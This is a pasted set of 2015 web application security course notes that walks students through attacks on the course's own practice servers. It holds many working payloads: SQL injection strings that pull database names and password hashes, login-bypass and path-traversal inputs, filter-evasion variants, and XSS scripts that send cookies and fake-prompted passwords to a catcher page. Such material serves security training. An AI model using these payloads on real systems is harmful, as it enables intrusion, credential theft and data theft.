Advertisement
joemccray

Ultimate App Sec

Oct 12th, 2015
3,906
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.81 KB | None | 0 0
  1. ####################
  2. # Ultimate App Sec #
  3. ####################
  4.  
  5.  
  6. Download the course slides:
  7. https://s3.amazonaws.com/StrategicSec-Files/UltimateAppSec/UltimateAppSec-Week1.pptx
  8. http://www.slideshare.net/akilan27/ilugc-curl
  9. http://www.slideshare.net/cory_scott/tactical-application-security-getting-stuff-done-black-hat-briefings-2015
  10.  
  11.  
  12. Download the course lab manual:
  13. https://s3.amazonaws.com/StrategicSec-Files/UltimateAppSec/Ultimate-App-Sec-V2.pdf
  14.  
  15.  
  16. Day 1 (12 Oct class video):
  17. https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-12+18.03+Ultimate+Web+App+Sec.mp4
  18.  
  19.  
  20. Day 2 (14 Oct class video):
  21. https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-14+18.03+Ultimate+Web+App+Sec.mp4
  22.  
  23.  
  24. Day 3 (21 Oct class video):
  25. https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-10-21+18.07+Ultimate+Web+App+Sec.mp4
  26.  
  27.  
  28. Day 4: (9 Nov class video):
  29. https://s3.amazonaws.com/StrategicSec-Videos/UltimateAppSec/2015-11-09+18.08+Ultimate+Web+App+Sec.mp4
  30.  
  31.  
  32. Web App Pentester Night School 2016
  33. https://s3.amazonaws.com/StrategicSec-Videos/2016/2016-02-01+18.15+Web+App+Pentester+Night+School+January+2016.mp4
  34. https://s3.amazonaws.com/StrategicSec-Videos/2016/2016-02-03+18.10+Web+App+Pentester+Night+School+January+2016.mp4
  35.  
  36.  
  37. Download VMWare Player if you are not currently running a version of Vmware that is newer than VMWare Workstation 11, Vmware Fusion 7, or Vmware Player 11. VMWare Player is free and you download it from here:
  38. https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/12_0
  39.  
  40.  
  41.  
  42. Download the course virtual machines:
  43. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
  44. username: strategicsec
  45. password: strategicsec
  46.  
  47.  
  48.  
  49. Start with simple Firefox Addons:
  50.  
  51. - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/
  52. - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/
  53. - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  54. - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  55. - Wapalyzer https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
  56.  
  57. A good list of web app testing add ons for Firefox:
  58. https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66. ##################################
  67. # Basic: Web Application Testing #
  68. ##################################
  69.  
  70. Most people are going to tell you reference the OWASP Testing guide.
  71. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  72.  
  73. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  74.  
  75.  
  76. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  77.  
  78. 1. Does the website talk to a DB?
  79. - Look for parameter passing (ex: site.com/page.php?id=4)
  80. - If yes - try SQL Injection
  81.  
  82. 2. Can I or someone else see what I type?
  83. - If yes - try XSS
  84.  
  85. 3. Does the page reference a file?
  86. - If yes - try LFI/RFI
  87.  
  88. Let's start with some manual testing against 54.213.252.28
  89.  
  90.  
  91. Start here:
  92. http://54.213.252.28/
  93.  
  94.  
  95. There's no parameter passing on the home page so the answer to question 1 is NO.
  96. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  97.  
  98. Try an XSS in the search box on the home page:
  99. <script>alert(123);</script>
  100.  
  101. Doing this gives us the following in the address bar:
  102. http://54.213.252.28/BasicSearch.aspx?Word=<script>alert(123);</script>
  103.  
  104. Ok, so we've verified that there is XSS in the search box.
  105.  
  106. Let's move on to the search box in the left of the page.
  107.  
  108. Let's give the newsletter signup box a shot
  109.  
  110. Moving on to the login page.
  111. http://54.213.252.28/login.aspx
  112.  
  113. I entered a single quote (') for both the user name and the password. I got the following error:
  114.  
  115. -----------------------------------------------------------------
  116. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  117. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  118.  
  119. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  120.  
  121. Source Error:
  122.  
  123.  
  124. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  125. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  126. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  127. Line 115: //String test = xmln.ToString();
  128. Line 116: if (xmln.Count > 0)
  129.  
  130. -----------------------------------------------------------------
  131.  
  132.  
  133. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  134.  
  135. WTF is this:
  136. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  137.  
  138.  
  139.  
  140.  
  141. In this case you'll have the trap the request with a proxy like:
  142. - Firefox Tamper Data
  143. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  144. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  145. - Rat Proxy https://code.google.com/p/ratproxy/
  146. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  147. - Paros http://sourceforge.net/projects/paros/
  148.  
  149.  
  150.  
  151. Let's go back to that page error message.....
  152.  
  153.  
  154. Let's check it out:
  155. http://54.213.252.28/AuthInfo.xml
  156.  
  157. Looks like we found passwords!!!!!!!!!!
  158.  
  159.  
  160. Looks like there no significant new functionality after logging in with the stolen credentials.
  161.  
  162. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  163.  
  164.  
  165. http://54.213.252.28/bookdetail.aspx?id=2
  166.  
  167.  
  168. Ok, there is parameter passing (bookdetail.aspx?id=2).
  169.  
  170. The page name is: bookdetail.aspx
  171. The parameter name is: id
  172. The paramber value is: 2
  173.  
  174.  
  175. Let's try throwing a single quote (') in there:
  176.  
  177. http://54.213.252.28/bookdetail.aspx?id=2'
  178.  
  179.  
  180. I get the following error:
  181.  
  182. Unclosed quotation mark after the character string ''.
  183. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  184.  
  185. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196. #############################################################################
  197. # SQL Injection #
  198. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
  199. #############################################################################
  200.  
  201.  
  202. - Another quick way to test for SQLI is to remove the paramter value
  203.  
  204.  
  205. #############################
  206. # Error-Based SQL Injection #
  207. #############################
  208. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  209. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  210. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  211. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  212. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  213. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  214. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  215. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  216. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  217.  
  218.  
  219.  
  220.  
  221. #############################
  222. # Union-Based SQL Injection #
  223. #############################
  224. http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
  225. http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
  226. http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
  227. http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
  228. http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
  229. http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
  230. http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
  231. http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
  232. http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
  233. http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  234.  
  235. We are using a union select statement because we are joining the developer's query with one of our own.
  236. Reference:
  237. http://www.techonthenet.com/sql/union.php
  238. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  239. It removes duplicate rows between the various SELECT statements.
  240.  
  241. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  242.  
  243. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  244.  
  245. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  246.  
  247. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  248. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  249. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  250. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258. ###############################
  259. # Blind SQL Injection Testing #
  260. ###############################
  261. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  262.  
  263. 3 - Total Characters
  264. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  265. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  266. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  267.  
  268. Let's go for a quick check to see if it's DBO
  269. http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  270.  
  271. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  272.  
  273. D - 1st Character
  274. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  275. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  276. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  277. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  278.  
  279. B - 2nd Character
  280. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  281. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  282.  
  283. O - 3rd Character
  284. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  285. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  286. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  287. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  288. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  289. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  290. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  291.  
  292.  
  293.  
  294.  
  295. ############################
  296. # Arithmetic logic testing #
  297. ############################
  298. - Another way is to see if you can get the backend to perform an arithmetic function
  299. http://54.213.252.28/bookdetail.aspx?id=(2)
  300. http://54.213.252.28/bookdetail.aspx?id=(4-2)
  301. http://54.213.252.28/bookdetail.aspx?id=(4-1)
  302. http://54.213.252.28/bookdetail.aspx?id=(2*2)
  303. http://54.213.252.28/bookdetail.aspx?id=(8/2)
  304. http://54.213.252.28/bookdetail.aspx?id=(2%2B1)
  305. http://54.213.252.28/bookdetail.aspx?id=(2%2B2)
  306.  
  307.  
  308. ############################
  309. # True/False logic testing #
  310. ############################
  311. http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
  312. http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
  313. http://54.213.252.28/bookdetail.aspx?id=1*1
  314. http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
  315. http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
  316. http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
  317. http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
  318. http://54.213.252.28/bookdetail.aspx?id=2 &0#
  319. http://54.213.252.28/bookdetail.aspx?id=2 |-1#
  320.  
  321.  
  322.  
  323.  
  324.  
  325. ###################################################################
  326. # What is XSS #
  327. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
  328. ###################################################################
  329.  
  330. OK - what is Cross Site Scripting (XSS)
  331.  
  332. 1. Use Firefox to browse to the following location:
  333.  
  334. http://54.172.112.249/xss_practice/
  335.  
  336. A really simple search page that is vulnerable should come up.
  337.  
  338.  
  339.  
  340.  
  341. 2. In the search box type:
  342.  
  343. <script>alert('So this is XSS')</script>
  344.  
  345.  
  346. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  347. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  348.  
  349.  
  350. 3. In the search box type:
  351.  
  352. <script>alert(document.cookie)</script>
  353.  
  354.  
  355. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  356. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
  357.  
  358. 4. Now replace that alert script with:
  359.  
  360. <script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  361.  
  362.  
  363. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  364.  
  365.  
  366. 5. Now view the stolen cookie at:
  367. http://54.172.112.249/xss_practice/cookie_stealer_logs.html
  368.  
  369.  
  370. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377. ############################
  378. # A Better Way To Demo XSS #
  379. ############################
  380.  
  381.  
  382. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  383.  
  384.  
  385. Use Firefox to browse to the following location:
  386.  
  387. http://54.172.112.249/xss_practice/
  388.  
  389.  
  390.  
  391. Paste this in the search box
  392. ----------------------------
  393.  
  394.  
  395. Option 1
  396. --------
  397.  
  398. <script>
  399. password=prompt('Your session is expired. Please enter your password to continue',' ');
  400. document.write("<img src=\"http://54.172.112.249/xss_practice/passwordgrabber.php?password=" +password+"\">");
  401. </script>
  402.  
  403.  
  404. Now view the stolen cookie at:
  405. http://54.172.112.249/xss_practice/passwords.html
  406.  
  407.  
  408.  
  409. Option 2
  410. --------
  411. <script>
  412. username=prompt('Please enter your username',' ');
  413. password=prompt('Please enter your password',' ');
  414. document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  415. </script>
  416.  
  417.  
  418.  
  419.  
  420. Now view the stolen cookie at:
  421. http://54.172.112.249/xss_practice/username_password_logs.html
  422.  
  423.  
  424.  
  425.  
  426. #########################################
  427. # Let's kick it up a notch with ASP.NET #
  428. # http://54.200.178.220/ #
  429. #########################################
  430.  
  431.  
  432. The trading Web App is on http://54.200.178.220/
  433.  
  434.  
  435. Try the following in the search box:
  436. <script>alert(123);</script>
  437. ' or 1=1
  438. ' and a=a
  439. 1=1
  440. Joe'+OR+1=1;--
  441.  
  442.  
  443. <script>alert(123);</script>
  444.  
  445. Open a new tab in firefox and try this:
  446. http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  447.  
  448.  
  449. Try the contact us form.
  450. Open a new tab in firefox and try this:
  451. http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
  452.  
  453. Try this on the inquiry form:
  454. Joe McCray
  455. 1234567890
  456. joe@strategicsec.com') waitfor delay '00:00:10'--
  457.  
  458.  
  459. Login Box:
  460.  
  461. ' or 1=1 or ''='
  462. anything (click login instead of pressing enter)
  463.  
  464.  
  465.  
  466. Tamper Data: (notice 2 session IDs)
  467.  
  468. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  469. IsAdmin=yes;
  470. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  471.  
  472.  
  473.  
  474. Profile - Detail (tamper data)
  475. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  476. joe|set
  477.  
  478.  
  479. xss_upload.txt (Upload Bulk Order)
  480. <script>alert(123);</script>
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487. #########################
  488. # More Course Materials #
  489. #########################
  490.  
  491. Slides:
  492. https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/WebAppSecIsNotEasyButCanBeSimple.pptx
  493. https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/Burp+Suite.pptx
  494.  
  495.  
  496. Lab Manual:
  497. https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/BurpSuite-Bootcamp-v1.pdf
  498.  
  499.  
  500. Day 1 Video:
  501. https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-06+09.10+Burp+Suite+Weekend+Bootcamp.mp4
  502.  
  503.  
  504. Day 1 Homework:
  505.  
  506.  
  507. Day 1 Challenge (Due 12 December):
  508. Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
  509. http://strategicsec.com
  510. http://54.213.252.28/
  511. http://54.172.112.249/
  512. http://54.200.178.220/
  513. http://54.213.131.105/
  514.  
  515. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Challenge.docx)
  516.  
  517.  
  518.  
  519. Day 2 Video:
  520. https://s3.amazonaws.com/StrategicSec-Videos/2015/2015-12-13+09.25+Burp+Suite+Weekend+Bootcamp.mp4
  521.  
  522.  
  523. Day 2 Challenge (Due 19 December):
  524. ----------------------------------
  525. Use the StrategicSec Ubuntu VM to demonstrate how to install, configure, and use at least five (5) of the following Burp Suite extensions from these websites and lists below:
  526. https://github.com/integrissecurity/carbonator
  527. https://github.com/allfro/BurpKit
  528. https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
  529. https://github.com/Quitten/Autorize
  530. https://github.com/codewatchorg/sqlipy
  531. https://github.com/augustd/burp-suite-token-fetcher
  532. https://github.com/augustd/burp-suite-gwt-scan
  533.  
  534. https://webbreacher.wordpress.com/2015/07/25/my-favorite-burp-suite-extensions/
  535. http://bughunting.guide/the-top-5-burp-suite-extensions/
  536. https://www.codemagi.com/downloads/
  537.  
  538.  
  539.  
  540. You must use them against your choice of targets the following targets:
  541. http://strategicsec.com
  542. http://54.213.252.28/
  543. http://54.172.112.249/
  544. http://54.200.178.220/
  545. http://54.213.131.105/
  546.  
  547. Submit the results via email in an MS Word document with (naming convention example:
  548. YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day2-Challenge.docx)
  549.  
  550. #########################
  551. # Setting up Burp Suite #
  552. #########################
  553. Download latest free version of Burp at http://www.portswigger.net/burp/download.html
  554. Make sure that burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
  555.  
  556. java -jar burpsuite_free_v1.6.31.jar
  557.  
  558. - Click the "Proxy" tab
  559. - Click the "Options" sub tab
  560. - Click “Edit” in the “Proxy Listeners” section
  561. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  562. - In the same pop up make sure that the bind port is 8080
  563. - In the same pop up select the “Certificate” tab
  564. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  565.  
  566. Open Firefox
  567. - Click "Edit"
  568. - Click “Preferences"
  569. - Click the "Advanced" tab
  570. - Click the "Network" sub tab
  571. - Click the connection "settings" button
  572. - Click "manual proxy configuration"
  573. set it to 127.0.0.1 port 8080
  574. check "Use this proxy server for all protocols"
  575. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  576.  
  577.  
  578. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  579.  
  580. Visit any SSL-protected URL.
  581.  
  582. On the “This Connection is Untrusted” screen, click on “Add Exception”
  583. Click "Get Certificate", then click "View".
  584.  
  585. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  586.  
  587. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  588.  
  589. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  590. Go to Edit | Preferences
  591. Click “Advanced” and go to “Certificates” tab
  592. Click “View Certificates”
  593.  
  594. Click "Import" and select the certificate file that you previously saved.
  595.  
  596. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  597.  
  598. Close all dialogs and restart Firefox
  599.  
  600.  
  601. ###############################
  602. # How much fuzzing is enough? #
  603. ###############################
  604. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  605.  
  606. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  607.  
  608.  
  609. Step 1: Ask yourself the 3 questions per page of the site.
  610.  
  611. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  612.  
  613. Step 3: When you load your fuzz strings - use the following decision tree
  614.  
  615. - Are the fuzz strings causing a default error message (example 404)?
  616. - If this is the case then it is most likely NOT vulnerable
  617.  
  618. - Are the fuzz strings causing a WAF or LB custom error message?
  619. - If this is the case then you need to find an encoding method to bypass
  620.  
  621.  
  622. - Are the fuzz strings causing an error message that discloses the backend type?
  623. - If yes, then identify DB type and find correct syntax to successfully exploit
  624. - Some example strings that I use are:
  625. '
  626. "
  627. () <----- Take the parameter value and put it in parenthesis
  628. (5-1) <----- See if you can perform an arithmetic function
  629.  
  630.  
  631. - Are the fuzz strings rendering executable code?
  632. - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  633. - Some example strings that I use are:
  634. <b>hello</b>
  635. <u>hello</u>
  636. <script>alert(123);</script>
  637. <script>alert(xss);</script>
  638. <script>alert('xss');</script>
  639. <script>alert("xss");</script>
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646. ############################
  647. # Trading Web App with WAF #
  648. # http://54.213.131.105 #
  649. ############################
  650.  
  651.  
  652. Try the following in the search box:
  653. <script>alert(123);</script>
  654. <script>alert(123);</script
  655. <script>alert(123)
  656. <script>alert
  657. <script>
  658. <script
  659. <scrip
  660. <scri
  661. <scr
  662. <sc
  663. <s
  664. <p
  665. <
  666. < s
  667. Joe'+OR+1=1;--
  668.  
  669.  
  670. Open a new tab in firefox and try this:
  671. http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  672.  
  673.  
  674. xss_upload.txt (Upload Bulk Order)
  675. <script>alert(123);</script>
  676.  
  677.  
  678. Login Box:
  679.  
  680. ' or 1=1 or ''='
  681. anything
  682.  
  683.  
  684.  
  685. Tamper Data: (notice 2 session IDs)
  686.  
  687. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  688. IsAdmin=yes;
  689. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  690.  
  691.  
  692.  
  693. Profile - Detail (tamper data)
  694. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  695. joe|set
  696.  
  697.  
  698.  
  699.  
  700.  
  701.  
  702.  
  703. ###########################################################
  704. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  705. ###########################################################
  706.  
  707.  
  708.  
  709.  
  710.  
  711. http://54.69.156.253:8081/bookcompany/
  712.  
  713.  
  714. user: a' OR 'a'='a
  715. pass: a' OR 'a'='a
  716.  
  717.  
  718.  
  719.  
  720.  
  721.  
  722.  
  723. http://54.69.156.253:8081/bookcompany/author.jsp?id=111
  724.  
  725.  
  726. [ Search by Username ] Joe' OR 'a'='a
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
  740.  
  741.  
  742.  
  743. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  760.  
  761.  
  762. Host is running:
  763.  
  764.  
  765.  
  766.  
  767.  
  768. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  769.  
  770. User is:
  771.  
  772.  
  773.  
  774.  
  775.  
  776. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  777.  
  778. Current database is:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement